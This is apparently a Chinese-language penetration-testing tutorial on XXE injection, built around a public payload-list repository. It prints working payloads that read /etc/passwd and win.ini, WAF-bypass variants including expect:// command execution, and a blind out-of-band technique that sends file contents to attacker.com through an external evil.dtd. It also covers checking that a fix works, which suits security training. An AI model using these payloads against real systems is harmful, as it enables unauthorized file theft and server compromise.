首页
/ 5个高效步骤:从零掌握XXE漏洞渗透测试

5个高效步骤:从零掌握XXE漏洞渗透测试

2026-03-13 05:03:21作者:伍希望

在网络安全渗透测试领域,XXE漏洞利用是一种常见且危害巨大的攻击手段。本文将通过"问题-解决方案"的实战模式,带你掌握XML注入测试的核心技术,从环境搭建到高级绕过,全方位提升XXE漏洞测试能力。

环境准备:搭建XXE测试实验室

要开展XXE漏洞测试,首先需要准备好测试环境和必要工具。

部署测试环境

# 克隆项目到本地
git clone https://gitcode.com/gh_mirrors/xx/xxe-injection-payload-list

项目核心Payload文件位于Intruder/xxe-injection-payload-list.txt.txt,包含从基础到高级的多种XXE攻击模板。建议使用Visual Studio Code或Sublime Text等编辑器打开,以便快速搜索和复制所需Payload。

⚠️ 注意事项:所有测试必须在授权环境下进行,严格遵守网络安全法律法规,禁止对未授权目标实施测试。

实战场景:如何在API请求中植入恶意实体

XXE攻击的核心在于构造恶意XML payload并成功注入到目标系统中。以下是在API请求中实施XXE攻击的完整流程。

选择并修改基础Payload

Intruder/xxe-injection-payload-list.txt.txt中选择经典文件读取模板:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

根据目标系统类型调整文件路径:

  • Linux系统:file:///etc/passwd(用户账户信息)
  • Windows系统:file:///c:/windows/win.ini(系统配置文件)

构造并发送攻击请求

将修改后的Payload插入到API请求体中:

POST /api/product HTTP/1.1
Host: target.com
Content-Type: application/xml
Content-Length: 187

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

XXE漏洞测试:恶意实体注入流程

⚠️ 注意事项:发送请求前应先确认目标接口是否接受XML格式数据,可通过Content-Type头字段判断。

实战绕过:突破WAF和输入过滤机制

在实际测试中,目标系统往往部署了WAF或输入过滤机制,需要采用特殊技巧绕过这些防御措施。

编码绕过技术

当直接注入XXE payload被拦截时,可尝试Base64编码绕过:

<!DOCTYPE test [ 
<!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> 
%init; 
]><foo/>

上述payload中的ZmlsZTovLy9ldGMvcGFzc3dkfile:///etc/passwd的Base64编码结果。

协议多样化绕过

尝试使用不同协议读取文件:

  • php://filter/read=convert.base64-encode/resource=/etc/passwd:读取并Base64编码文件内容
  • expect://id:在支持expect扩展的PHP环境中执行系统命令
  • jar:file:///usr/local/tomcat/lib/catalina.jar!/META-INF/manifest.mf:读取JAR包资源

⚠️ 注意事项:协议绕过成功率取决于目标服务器支持的协议类型,建议按可能性从高到低依次尝试。

防御验证:如何确认XXE漏洞已修复

发现并报告XXE漏洞后,需要验证修复效果,确保漏洞已被彻底修复。

验证方法与步骤

  1. 使用基础XXE payload测试:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<data>&test;</data>
  1. 尝试盲XXE payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://your-server.com/?%xxe;">
]><foo>&blind;</foo>
  1. 检查响应是否包含敏感信息或服务器是否尝试连接外部服务器

如果以上测试均未成功,且服务器返回正常错误信息,则说明XXE漏洞已被修复。

⚠️ 注意事项:防御验证应使用与发现漏洞时相同的测试方法,以确保修复的有效性。

高级技巧:盲XXE数据外带技术

当目标系统不直接返回文件内容时,盲XXE技术成为获取敏感信息的关键手段。

盲XXE攻击流程

  1. 构造恶意DTD文件(保存为evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'https://attacker.com/?%file;'>">
%all;
  1. 在XXE payload中引用外部DTD:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "https://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>
  1. 监控攻击者服务器日志,获取包含文件内容的请求参数

这种方法可以在完全没有回显的情况下窃取服务器敏感文件内容。

⚠️ 注意事项:盲XXE攻击需要攻击者控制一台外部服务器,用于托管恶意DTD文件和接收数据。

通过以上五个步骤,你已经掌握了XXE漏洞测试的核心技术。记住,真正的渗透测试能力来自于不断实践和经验积累。在实际测试中,应根据目标系统特点灵活调整测试策略,结合多种技术手段,才能最大限度地发现潜在的安全漏洞。

登录后查看全文
热门项目推荐
相关项目推荐